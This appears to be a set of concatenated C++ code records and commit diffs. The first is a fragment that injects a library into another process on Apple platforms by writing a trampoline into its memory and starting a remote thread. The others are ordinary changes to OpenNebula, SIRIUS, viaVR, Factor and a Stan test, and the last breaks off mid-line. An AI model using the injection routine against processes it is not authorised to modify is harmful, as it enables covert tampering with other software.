baton->pid = getpid(); memcpy(baton->library, library, length); vm_size_t size(depth + Stack_); mach_port_t self(mach_task_self()), task; _krncall(task_for_pid(self, pid, &task)); vm_address_t stack; _krncall(vm_allocate(task, &stack, size, true)); vm_address_t data(stack + Stack_); vm_write(task, data, reinterpret_cast<vm_address_t>(baton), depth); thread_act_t thread; _krncall(thread_create(task, &thread)); thread_state_flavor_t flavor; mach_msg_type_number_t count; size_t push; Trampoline *trampoline; #if defined(__arm__) trampoline = &Trampoline_arm_; arm_thread_state_t state; flavor = ARM_THREAD_STATE; count = ARM_THREAD_STATE_COUNT; push = 0; #elif defined(__i386__) trampoline = &Trampoline_i386_; i386_thread_state_t state; flavor = i386_THREAD_STATE; count = i386_THREAD_STATE_COUNT; push = 5; #elif defined(__x86_64__) trampoline = &Trampoline_x86_64_; x86_thread_state64_t state; flavor = x86_THREAD_STATE64; count = x86_THREAD_STATE64_COUNT; push = 2; #else #error XXX: implement #endif vm_address_t code; _krncall(vm_allocate(task, &code, trampoline->size_, true)); vm_write(task, code, reinterpret_cast<vm_address_t>(trampoline->data_), trampoline->size_); _krncall(vm_protect(task, code, trampoline->size_, false, VM_PROT_READ | VM_PROT_EXECUTE)); /* printf("_ptss:%p\n", baton->__pthread_set_self); printf("dlsym:%p\n", baton->dlsym); printf("code:%zx\n", (size_t) code); */ uint32_t frame[push]; if (sizeof(frame) != 0) memset(frame, 0, sizeof(frame)); memset(&state, 0, sizeof(state)); mach_msg_type_number_t read(count); _krncall(thread_get_state(thread, flavor, reinterpret_cast<thread_state_t>(&state), &read)); _assert(count == count); #if defined(__arm__) state.r[0] = data; state.sp = stack + Stack_; state.pc = code + trampoline->entry_; if ((state.pc & 0x1) != 0) { state.pc &= ~0x1; state.cpsr |= 0x20; } #elif defined(__i386__) frame[1] = data; state.__eip = code + trampoline->entry_; state.__esp = stack + Stack_ - sizeof(frame); #elif defined(__x86_64__) frame[0] = 0xdeadbeef; state.__rdi = data; state.__rip = code + trampoline->entry_; state.__rsp = stack + Stack_ - sizeof(frame); #else #error XXX: implement #endif if (sizeof(frame) != 0) vm_write(task, stack + Stack_ - sizeof(frame), reinterpret_cast<vm_address_t>(frame), sizeof(frame)); _krncall(thread_set_state(thread, flavor, reinterpret_cast<thread_state_t>(&state), count)); _krncall(thread_resume(thread)); _krncall(mach_port_deallocate(self, task)); } <|endoftext|>
<commit_before>struct Client1; struct Client2; typedef Visitor<Client1, Client2> BaseClientVisitor; struct Client1 : BaseClientVisitor::Visitable<Client1> { }; struct Client2 : BaseClientVisitor::Visitable<Client2> { }; struct Client2a; struct Client2b; typedef Visitor<Client2a, Client2b> Client2Visitor; struct Client2a : Client2, Client2Visitor::Visitable<Clien2a> { }; struct Client2b : Client2, Client2Visitor::Visitable<Clien2b> { }; struct AllClientsVisitor : BaseClientVisitor, Client2Visitor { virtual void visit( Client2 & t ) { t.accept( static_cast<Client2Visitor&>(*this) ); } }; <commit_msg>Update visitor_test.cpp<commit_after>struct Client1; struct Client2; typedef Visitor<Client1, Client2> BaseClientVisitor; struct Client1 : BaseClientVisitor::Visitable<Client1> { }; struct Client2 : BaseClientVisitor::Visitable<Client2> { }; struct Client2a; struct Client2b; typedef Visitor<Client2a, Client2b> Client2Visitor; struct Client2a : Client2, Client2Visitor::Visitable<Clien2a> { }; struct Client2b : Client2, Client2Visitor::Visitable<Clien2b> { }; struct AllClientsVisitor : BaseClientVisitor, Client2Visitor { virtual void visit( Client2 & t ) final { t.accept( static_cast<Client2Visitor&>(*this) ); } }; <|endoftext|>
<commit_before>/* -------------------------------------------------------------------------- */ /* Copyright 2002-2011, OpenNebula Project Leads (OpenNebula.org) */ /* */ /* Licensed under the Apache License, Version 2.0 (the "License"); you may */ /* not use this file except in compliance with the License. You may obtain */ /* a copy of the License at */ /* */ /* http://www.apache.org/licenses/LICENSE-2.0 */ /* */ /* Unless required by applicable law or agreed to in writing, software */ /* distributed under the License is distributed on an "AS IS" BASIS, */ /* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ /* See the License for the specific language governing permissions and */ /* limitations under the License. */ /* -------------------------------------------------------------------------- */ #include "RequestManagerPoolInfoFilter.h" using namespace std; /* ------------------------------------------------------------------------- */ /* ------------------------------------------------------------------------- */ const int RequestManagerPoolInfoFilter::ALL = -2; const int RequestManagerPoolInfoFilter::MINE = -3; const int RequestManagerPoolInfoFilter::MINE_GROUP = -1; /* ------------------------------------------------------------------------- */ const int VirtualMachinePoolInfo::ALL_VM = -2; const int VirtualMachinePoolInfo::NOT_DONE = -1; /* ------------------------------------------------------------------------- */ /* ------------------------------------------------------------------------- */ void RequestManagerPoolInfoFilter::request_execute(xmlrpc_c::paramList const& paramList) { int filter_flag = xmlrpc_c::value_int(paramList.getInt(1)); int start_id = xmlrpc_c::value_int(paramList.getInt(2)); int end_id = xmlrpc_c::value_int(paramList.getInt(3)); set<int>::iterator it; ostringstream oss; bool empty = true; ostringstream where_string; ostringstream uid_filter; ostringstream state_filter; ostringstream id_filter; string uid_str; string state_str; string id_str; int rc; // ------------------------------------------ // User ID filter // ------------------------------------------ if ( filter_flag < MINE ) { failure_response(XML_RPC_API,request_error("Incorrect filter_flag","")); return; } switch(filter_flag) { case MINE: uid_filter << "uid = " << uid; auth_op = AuthRequest::INFO_POOL_MINE; break; case ALL: break; case MINE_GROUP: uid_filter << "uid = " << uid << " OR gid = " << gid; for ( it = group_ids.begin() ; it != group_ids.end(); it++ ) { where_string << " OR gid = " << *it; } auth_op = AuthRequest::INFO_POOL_MINE; break; default: uid_filter << "uid = " << filter_flag; break; } uid_str = uid_filter.str(); // ------------------------------------------ // Resource ID filter // ------------------------------------------ if ( start_id != -1 ) { id_filter << "oid >= " << start_id; if ( end_id != -1 ) { id_filter << " AND oid <= " << end_id; } } id_str = id_filter.str(); // ------------ State filter for VM -------------- if ( auth_object == AuthRequest::VM ) { int state = xmlrpc_c::value_int(paramList.getInt(4)); if (( state < MINE ) || ( state > VirtualMachine::FAILED )) { failure_response(XML_RPC_API, request_error("Incorrect filter_flag, state","")); return; } switch(state) { case VirtualMachinePoolInfo::ALL_VM: break; case VirtualMachinePoolInfo::NOT_DONE: state_filter << "state <> " << VirtualMachine::DONE; break; default: state_filter << "state = " << state; break; } } state_str = state_filter.str(); // ------------------------------------------ // Compound WHERE clause // ------------------------------------------ if (!uid_str.empty()) { where_string << "(" << uid_str << ")" ; empty = false; } if (!id_str.empty()) { if (!empty) { where_string << " AND "; } where_string << "(" << id_str << ")"; empty = false; } if (!state_str.empty()) { if (!empty) { where_string << " AND "; } where_string << "(" << state_str << ")"; } // ------------------------------------------ // Authorize & get the pool // ------------------------------------------ if ( basic_authorization(-1) == false ) { return; } rc = pool->dump(oss,where_string.str()); if ( rc != 0 ) { failure_response(INTERNAL,request_error("Internal Error","")); return; } success_response(oss.str()); return; } <commit_msg>feature #687: Redo of commit 2b90f0237700bb5da0ef6603d66dc832cd6abd12<commit_after>/* -------------------------------------------------------------------------- */ /* Copyright 2002-2011, OpenNebula Project Leads (OpenNebula.org) */ /* */ /* Licensed under the Apache License, Version 2.0 (the "License"); you may */ /* not use this file except in compliance with the License. You may obtain */ /* a copy of the License at */ /* */ /* http://www.apache.org/licenses/LICENSE-2.0 */ /* */ /* Unless required by applicable law or agreed to in writing, software */ /* distributed under the License is distributed on an "AS IS" BASIS, */ /* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ /* See the License for the specific language governing permissions and */ /* limitations under the License. */ /* -------------------------------------------------------------------------- */ #include "RequestManagerPoolInfoFilter.h" using namespace std; /* ------------------------------------------------------------------------- */ /* ------------------------------------------------------------------------- */ const int RequestManagerPoolInfoFilter::ALL = -2; const int RequestManagerPoolInfoFilter::MINE = -3; const int RequestManagerPoolInfoFilter::MINE_GROUP = -1; /* ------------------------------------------------------------------------- */ const int VirtualMachinePoolInfo::ALL_VM = -2; const int VirtualMachinePoolInfo::NOT_DONE = -1; /* ------------------------------------------------------------------------- */ /* ------------------------------------------------------------------------- */ void RequestManagerPoolInfoFilter::request_execute(xmlrpc_c::paramList const& paramList) { int filter_flag = xmlrpc_c::value_int(paramList.getInt(1)); int start_id = xmlrpc_c::value_int(paramList.getInt(2)); int end_id = xmlrpc_c::value_int(paramList.getInt(3)); set<int>::iterator it; ostringstream oss; bool empty = true; ostringstream where_string; ostringstream uid_filter; ostringstream state_filter; ostringstream id_filter; string uid_str; string state_str; string id_str; int rc; AuthRequest::Operation request_op; // ------------------------------------------ // User ID filter // ------------------------------------------ if ( filter_flag < MINE ) { failure_response(XML_RPC_API,request_error("Incorrect filter_flag","")); return; } switch(filter_flag) { case MINE: uid_filter << "uid = " << uid; request_op = AuthRequest::INFO_POOL_MINE; break; case ALL: request_op = AuthRequest::INFO_POOL; break; case MINE_GROUP: uid_filter << "uid = " << uid << " OR gid = " << gid; for ( it = group_ids.begin() ; it != group_ids.end(); it++ ) { where_string << " OR gid = " << *it; } request_op = AuthRequest::INFO_POOL_MINE; break; default: uid_filter << "uid = " << filter_flag; request_op = AuthRequest::INFO_POOL; break; } uid_str = uid_filter.str(); // ------------------------------------------ // Resource ID filter // ------------------------------------------ if ( start_id != -1 ) { id_filter << "oid >= " << start_id; if ( end_id != -1 ) { id_filter << " AND oid <= " << end_id; } } id_str = id_filter.str(); // ------------ State filter for VM -------------- if ( auth_object == AuthRequest::VM ) { int state = xmlrpc_c::value_int(paramList.getInt(4)); if (( state < MINE ) || ( state > VirtualMachine::FAILED )) { failure_response(XML_RPC_API, request_error("Incorrect filter_flag, state","")); return; } switch(state) { case VirtualMachinePoolInfo::ALL_VM: break; case VirtualMachinePoolInfo::NOT_DONE: state_filter << "state <> " << VirtualMachine::DONE; break; default: state_filter << "state = " << state; break; } } state_str = state_filter.str(); // ------------------------------------------ // Compound WHERE clause // ------------------------------------------ if (!uid_str.empty()) { where_string << "(" << uid_str << ")" ; empty = false; } if (!id_str.empty()) { if (!empty) { where_string << " AND "; } where_string << "(" << id_str << ")"; empty = false; } if (!state_str.empty()) { if (!empty) { where_string << " AND "; } where_string << "(" << state_str << ")"; } // ------------------------------------------ // Authorize & get the pool // ------------------------------------------ if ( basic_authorization(-1, request_op) == false ) { return; } rc = pool->dump(oss,where_string.str()); if ( rc != 0 ) { failure_response(INTERNAL,request_error("Internal Error","")); return; } success_response(oss.str()); return; } <|endoftext|>
<commit_before>// Copyright (c) 2013-2018 Anton Kozhevnikov, Thomas Schulthess // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that // the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the // following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions // and the following disclaimer in the documentation and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED // WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A // PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. /** \file solve.hpp * * \brief Contains interfaces to the sirius::Band solvers. */ inline void Band::solve_full_potential(K_point& kp__, Hamiltonian& hamiltonian__) const { if (use_second_variation) { /* solve non-magnetic Hamiltonian (so-called first variation) */ auto& itso = ctx_.iterative_solver_input(); if (itso.type_ == "exact") { diag_full_potential_first_variation_exact(kp__, hamiltonian__); } else if (itso.type_ == "davidson") { diag_full_potential_first_variation_davidson(kp__, hamiltonian__); } /* generate first-variational states */ kp__.generate_fv_states(); /* solve magnetic Hamiltonian */ diag_full_potential_second_variation(kp__, hamiltonian__); /* generate spinor wave-functions */ kp__.generate_spinor_wave_functions(); } else { TERMINATE_NOT_IMPLEMENTED //diag_full_potential_single_variation(); } } template <typename T> inline int Band::solve_pseudo_potential(K_point& kp__, Hamiltonian& hamiltonian__) const { hamiltonian__.local_op().prepare(kp__.gkvec_partition()); ctx_.fft_coarse().prepare(kp__.gkvec_partition()); int niter{0}; auto& itso = ctx_.iterative_solver_input(); if (itso.type_ == "exact") { if (ctx_.num_mag_dims() != 3) { for (int ispn = 0; ispn < ctx_.num_spins(); ispn++) { diag_pseudo_potential_exact<double_complex>(&kp__, ispn, hamiltonian__); } } else { STOP(); } } else if (itso.type_ == "davidson") { niter = diag_pseudo_potential_davidson<T>(&kp__, hamiltonian__); } else if (itso.type_ == "rmm-diis") { if (ctx_.num_mag_dims() != 3) { for (int ispn = 0; ispn < ctx_.num_spins(); ispn++) { diag_pseudo_potential_rmm_diis<T>(&kp__, ispn, hamiltonian__); } } else { STOP(); } } else if (itso.type_ == "chebyshev") { P_operator<T> p_op(ctx_, kp__.p_mtrx()); if (ctx_.num_mag_dims() != 3) { for (int ispn = 0; ispn < ctx_.num_spins(); ispn++) { diag_pseudo_potential_chebyshev<T>(&kp__, ispn, hamiltonian__, p_op); } } else { STOP(); } } else { TERMINATE("unknown iterative solver type"); } /* check residuals */ if (ctx_.control().verification_ >= 1) { check_residuals<T>(&kp__, hamiltonian__); } ctx_.fft_coarse().dismiss(); return niter; } inline void Band::solve(K_point_set& kset__, Hamiltonian& hamiltonian__, bool precompute__) const { PROFILE("sirius::Band::solve"); if (precompute__ && ctx_.full_potential()) { hamiltonian__.potential().generate_pw_coefs(); hamiltonian__.potential().update_atomic_potential(); unit_cell_.generate_radial_functions(); unit_cell_.generate_radial_integrals(); } /* map local potential to a coarse grid */ hamiltonian__.local_op().prepare(hamiltonian__.potential()); if (!ctx_.full_potential()) { /* prepare non-local operators */ if (ctx_.gamma_point() && (ctx_.so_correction() == false)) { hamiltonian__.prepare<double>(); } else { hamiltonian__.prepare<double_complex>(); } } if (ctx_.comm().rank() == 0 && ctx_.control().print_memory_usage_) { MEMORY_USAGE_INFO(); } int num_dav_iter{0}; /* solve secular equation and generate wave functions */ for (int ikloc = 0; ikloc < kset__.spl_num_kpoints().local_size(); ikloc++) { int ik = kset__.spl_num_kpoints(ikloc); auto kp = kset__[ik]; if (ctx_.full_potential()) { solve_full_potential(*kp, hamiltonian__); } else { if (ctx_.gamma_point() && (ctx_.so_correction() == false)) { num_dav_iter += solve_pseudo_potential<double>(*kp, hamiltonian__); } else { num_dav_iter += solve_pseudo_potential<double_complex>(*kp, hamiltonian__); } } } kset__.comm().allreduce(&num_dav_iter, 1); if (ctx_.comm().rank() == 0 && !ctx_.full_potential() && ctx_.control().verbosity_ >= 1) { printf("Average number of iterations: %12.6f\n", static_cast<double>(num_dav_iter) / kset__.num_kpoints()); } hamiltonian__.local_op().dismiss(); if (!ctx_.full_potential()) { hamiltonian__.dismiss(); } /* synchronize eigen-values */ kset__.sync_band_energies(); if (ctx_.control().verbosity_ >= 2 && ctx_.comm().rank() == 0) { printf("Lowest band energies\n"); for (int ik = 0; ik < kset__.num_kpoints(); ik++) { printf("ik : %2i, ", ik); for (int j = 0; j < std::min(ctx_.control().num_bands_to_print_, ctx_.num_bands()); j++) { printf("%12.6f", kset__[ik]->band_energy(j, 0)); } if (ctx_.num_mag_dims() == 1) { printf("\n "); for (int j = 0; j < std::min(ctx_.control().num_bands_to_print_, ctx_.num_bands()); j++) { printf("%12.6f", kset__[ik]->band_energy(j, 1)); } } printf("\n"); } } } <commit_msg>check wave-functions<commit_after>// Copyright (c) 2013-2018 Anton Kozhevnikov, Thomas Schulthess // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that // the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the // following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions // and the following disclaimer in the documentation and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED // WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A // PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. /** \file solve.hpp * * \brief Contains interfaces to the sirius::Band solvers. */ inline void Band::solve_full_potential(K_point& kp__, Hamiltonian& hamiltonian__) const { if (use_second_variation) { /* solve non-magnetic Hamiltonian (so-called first variation) */ auto& itso = ctx_.iterative_solver_input(); if (itso.type_ == "exact") { diag_full_potential_first_variation_exact(kp__, hamiltonian__); } else if (itso.type_ == "davidson") { diag_full_potential_first_variation_davidson(kp__, hamiltonian__); } /* generate first-variational states */ kp__.generate_fv_states(); /* solve magnetic Hamiltonian */ diag_full_potential_second_variation(kp__, hamiltonian__); /* generate spinor wave-functions */ kp__.generate_spinor_wave_functions(); } else { TERMINATE_NOT_IMPLEMENTED //diag_full_potential_single_variation(); } } template <typename T> inline int Band::solve_pseudo_potential(K_point& kp__, Hamiltonian& hamiltonian__) const { hamiltonian__.local_op().prepare(kp__.gkvec_partition()); ctx_.fft_coarse().prepare(kp__.gkvec_partition()); int niter{0}; auto& itso = ctx_.iterative_solver_input(); if (itso.type_ == "exact") { if (ctx_.num_mag_dims() != 3) { for (int ispn = 0; ispn < ctx_.num_spins(); ispn++) { diag_pseudo_potential_exact<double_complex>(&kp__, ispn, hamiltonian__); } } else { STOP(); } } else if (itso.type_ == "davidson") { niter = diag_pseudo_potential_davidson<T>(&kp__, hamiltonian__); } else if (itso.type_ == "rmm-diis") { if (ctx_.num_mag_dims() != 3) { for (int ispn = 0; ispn < ctx_.num_spins(); ispn++) { diag_pseudo_potential_rmm_diis<T>(&kp__, ispn, hamiltonian__); } } else { STOP(); } } else if (itso.type_ == "chebyshev") { P_operator<T> p_op(ctx_, kp__.p_mtrx()); if (ctx_.num_mag_dims() != 3) { for (int ispn = 0; ispn < ctx_.num_spins(); ispn++) { diag_pseudo_potential_chebyshev<T>(&kp__, ispn, hamiltonian__, p_op); } } else { STOP(); } } else { TERMINATE("unknown iterative solver type"); } /* check residuals */ if (ctx_.control().verification_ >= 1) { check_residuals<T>(&kp__, hamiltonian__); check_wave_functions<T>(kp__, hamiltonian__); } ctx_.fft_coarse().dismiss(); return niter; } inline void Band::solve(K_point_set& kset__, Hamiltonian& hamiltonian__, bool precompute__) const { PROFILE("sirius::Band::solve"); if (precompute__ && ctx_.full_potential()) { hamiltonian__.potential().generate_pw_coefs(); hamiltonian__.potential().update_atomic_potential(); unit_cell_.generate_radial_functions(); unit_cell_.generate_radial_integrals(); } /* map local potential to a coarse grid */ hamiltonian__.local_op().prepare(hamiltonian__.potential()); if (!ctx_.full_potential()) { /* prepare non-local operators */ if (ctx_.gamma_point() && (ctx_.so_correction() == false)) { hamiltonian__.prepare<double>(); } else { hamiltonian__.prepare<double_complex>(); } } if (ctx_.comm().rank() == 0 && ctx_.control().print_memory_usage_) { MEMORY_USAGE_INFO(); } int num_dav_iter{0}; /* solve secular equation and generate wave functions */ for (int ikloc = 0; ikloc < kset__.spl_num_kpoints().local_size(); ikloc++) { int ik = kset__.spl_num_kpoints(ikloc); auto kp = kset__[ik]; if (ctx_.full_potential()) { solve_full_potential(*kp, hamiltonian__); } else { if (ctx_.gamma_point() && (ctx_.so_correction() == false)) { num_dav_iter += solve_pseudo_potential<double>(*kp, hamiltonian__); } else { num_dav_iter += solve_pseudo_potential<double_complex>(*kp, hamiltonian__); } } } kset__.comm().allreduce(&num_dav_iter, 1); if (ctx_.comm().rank() == 0 && !ctx_.full_potential() && ctx_.control().verbosity_ >= 1) { printf("Average number of iterations: %12.6f\n", static_cast<double>(num_dav_iter) / kset__.num_kpoints()); } hamiltonian__.local_op().dismiss(); if (!ctx_.full_potential()) { hamiltonian__.dismiss(); } /* synchronize eigen-values */ kset__.sync_band_energies(); if (ctx_.control().verbosity_ >= 2 && ctx_.comm().rank() == 0) { printf("Lowest band energies\n"); for (int ik = 0; ik < kset__.num_kpoints(); ik++) { printf("ik : %2i, ", ik); for (int j = 0; j < std::min(ctx_.control().num_bands_to_print_, ctx_.num_bands()); j++) { printf("%12.6f", kset__[ik]->band_energy(j, 0)); } if (ctx_.num_mag_dims() == 1) { printf("\n "); for (int j = 0; j < std::min(ctx_.control().num_bands_to_print_, ctx_.num_bands()); j++) { printf("%12.6f", kset__[ik]->band_energy(j, 1)); } } printf("\n"); } } } <|endoftext|>
<commit_before>/* * Copyright (c) 2015 Ivan Valiulin * * This file is part of viaVR. * * viaVR is free software: you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation, either * version 2.1 of the License, or (at your option) any later version. * * viaVR is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with viaVR. If not, see http://www.gnu.org/licenses */ #include "frames/frames.h" frameGPUi::frameGPUi (int w, int h, iFormat type, bool linear) : width (w), height (h) { GLenum internalFormat, format; GLenum repeat = GL_CLAMP_TO_EDGE; switch (type) { case iFormat::INT8: internalFormat = GL_RGBA8; format = GL_UNSIGNED_BYTE; break; case iFormat::INT10: internalFormat = GL_RGB10_A2; format = GL_UNSIGNED_INT_2_10_10_10_REV; break; case iFormat::FLOAT16: internalFormat = GL_RGBA16F; format = GL_HALF_FLOAT; break; case iFormat::FLOAT32: internalFormat = GL_RGBA32F; format = GL_FLOAT; break; case iFormat::DITHER: internalFormat = GL_RGB10_A2; format = GL_UNSIGNED_INT_2_10_10_10_REV; repeat = GL_REPEAT; break; } glGenTextures (1, &plane); glBindTexture (GL_TEXTURE_2D, plane); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, linear ? GL_LINEAR : GL_NEAREST); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, linear ? GL_LINEAR : GL_NEAREST); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, repeat); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, repeat); glTexStorage2D (GL_TEXTURE_2D, 1, internalFormat, w, h); timecode = 0; } frameGPUi::~frameGPUi () { glDeleteTextures (1, &plane); } <commit_msg>glTexStorage2D doesn't need format<commit_after>/* * Copyright (c) 2015 Ivan Valiulin * * This file is part of viaVR. * * viaVR is free software: you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation, either * version 2.1 of the License, or (at your option) any later version. * * viaVR is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with viaVR. If not, see http://www.gnu.org/licenses */ #include "frames/frames.h" frameGPUi::frameGPUi (int w, int h, iFormat type, bool linear) : width (w), height (h) { GLenum internalFormat; GLenum repeat = GL_CLAMP_TO_EDGE; switch (type) { case iFormat::INT8: internalFormat = GL_RGBA8; break; case iFormat::INT10: internalFormat = GL_RGB10_A2; break; case iFormat::FLOAT16: internalFormat = GL_RGBA16F; break; case iFormat::FLOAT32: internalFormat = GL_RGBA32F; break; case iFormat::DITHER: internalFormat = GL_RGB10_A2; repeat = GL_REPEAT; break; } glGenTextures (1, &plane); glBindTexture (GL_TEXTURE_2D, plane); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, linear ? GL_LINEAR : GL_NEAREST); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, linear ? GL_LINEAR : GL_NEAREST); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, repeat); glTexParameteri (GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, repeat); glTexStorage2D (GL_TEXTURE_2D, 1, internalFormat, w, h); timecode = 0; } frameGPUi::~frameGPUi () { glDeleteTextures (1, &plane); } <|endoftext|>
<commit_before>#include "master.hpp" namespace factor { old_space::old_space(cell size_, cell start_) : zone(size_,start_) { cell cards_size = size_ >> card_bits; allot_markers = new card[cards_size]; allot_markers_end = allot_markers + cards_size; } old_space::~old_space() { delete[] allot_markers; } card *old_space::addr_to_allot_marker(object *a) { return (card *)((((cell)a - start) >> card_bits) + (cell)allot_markers); } /* we need to remember the first object allocated in the card */ void old_space::record_allocation(object *obj) { card *ptr = addr_to_allot_marker(obj); if(*ptr == invalid_allot_marker) *ptr = ((cell)obj & addr_card_mask); } object *old_space::allot(cell size) { if(here + size > end) return NULL; object *obj = zone::allot(size); record_allocation(obj); return obj; } void old_space::clear_allot_markers() { memset(allot_markers,invalid_allot_marker,size >> card_bits); } cell old_space::next_object_after(factor_vm *myvm, cell scan) { cell size = myvm->untagged_object_size((object *)scan); if(scan + size < end) return scan + size; else return NULL; } } <commit_msg>Fix problem if last card is marked<commit_after>#include "master.hpp" namespace factor { old_space::old_space(cell size_, cell start_) : zone(size_,start_) { cell cards_size = size_ >> card_bits; allot_markers = new card[cards_size]; allot_markers_end = allot_markers + cards_size; } old_space::~old_space() { delete[] allot_markers; } card *old_space::addr_to_allot_marker(object *a) { return (card *)((((cell)a - start) >> card_bits) + (cell)allot_markers); } /* we need to remember the first object allocated in the card */ void old_space::record_allocation(object *obj) { card *ptr = addr_to_allot_marker(obj); if(*ptr == invalid_allot_marker) *ptr = ((cell)obj & addr_card_mask); } object *old_space::allot(cell size) { if(here + size > end) return NULL; object *obj = zone::allot(size); record_allocation(obj); return obj; } void old_space::clear_allot_markers() { memset(allot_markers,invalid_allot_marker,size >> card_bits); } cell old_space::next_object_after(factor_vm *myvm, cell scan) { cell size = myvm->untagged_object_size((object *)scan); if(scan + size < here) return scan + size; else return NULL; } } <|endoftext|>
<commit_before>#include <stan/math/prim.hpp> #include <test/unit/math/prim/util.hpp> #include <boost/random/mersenne_twister.hpp> #include <boost/math/distributions/chi_squared.hpp> #include <gtest/gtest.h> #include <stdexcept> #include <vector> TEST(ProbDistributionsWishartCholesky, rng) { using Eigen::MatrixXd; using Eigen::Dynamic; using Eigen::Matrix; using Eigen::MatrixXd; using stan::math::wishart_cholesky_rng; boost::random::mt19937 rng; MatrixXd omega(3, 4); EXPECT_THROW(wishart_cholesky_rng(3.0, omega, rng), std::domain_error); MatrixXd sigma(3, 3); sigma << 9.0, -3.0, 0.0, -3.0, 4.0, 1.0, 0.0, 1.0, 3.0; Matrix<double, Dynamic, Dynamic> LS = sigma.llt().matrixL(); EXPECT_NO_THROW(wishart_cholesky_rng(3.0, LS, rng)); EXPECT_THROW(wishart_cholesky_rng(2, LS, rng), std::domain_error); EXPECT_THROW(wishart_cholesky_rng(-1, LS, rng), std::domain_error); LS(2, 2) = -1.0; EXPECT_THROW(wishart_cholesky_rng(3.0, LS, rng), std::domain_error); } TEST(ProbDistributionsWishartCholesky, rng_pos_def) { using Eigen::MatrixXd; using stan::math::wishart_cholesky_rng; boost::random::mt19937 rng; MatrixXd Sigma(2, 2); MatrixXd Sigma_non_pos_def(2, 2); Sigma << 1, 0, 0, 1; Sigma_non_pos_def << -1, 0, 0, 1; unsigned int dof = 5; EXPECT_NO_THROW(wishart_cholesky_rng(dof, Sigma, rng)); EXPECT_THROW(wishart_cholesky_rng(dof, Sigma_non_pos_def, rng), std::domain_error); } TEST(ProbDistributionsWishartCholesky, cholesky_factor_check) { using Eigen::MatrixXd; using stan::math::wishart_cholesky_rng; using stan::math::wishart_rng; using stan::math::identity_matrix; using stan::test::unit::expect_symmetric; using stan::test::unit::spd_rng; boost::random::mt19937 rng; for (int k = 1; k < 20; ++k) for (double nu = k - 0.9; nu < k + 10; ++nu) for (int n = 0; n < 10; ++n) expect_symmetric(stan::math::multiply_lower_tri_self_transpose(wishart_rng(nu, spd_rng(k, rng), rng))); } TEST(ProbDistributionsWishartCholesky, marginalTwoChiSquareGoodnessFitTest) { using boost::math::chi_squared; using boost::math::digamma; using Eigen::MatrixXd; using stan::math::determinant; using stan::math::wishart_cholesky_rng; using std::log; boost::random::mt19937 rng; MatrixXd sigma(3, 3); sigma << 9.0, -3.0, 2.0, -3.0, 4.0, 0.0, 2.0, 0.0, 3.0; int N = 10000; double avg = 0; double expect = sigma.rows() * log(2.0) + log(determinant(sigma)) + digamma(5.0 / 2.0) + digamma(4.0 / 2.0) + digamma(3.0 / 2.0); MatrixXd a(sigma.rows(), sigma.rows()); for (int count = 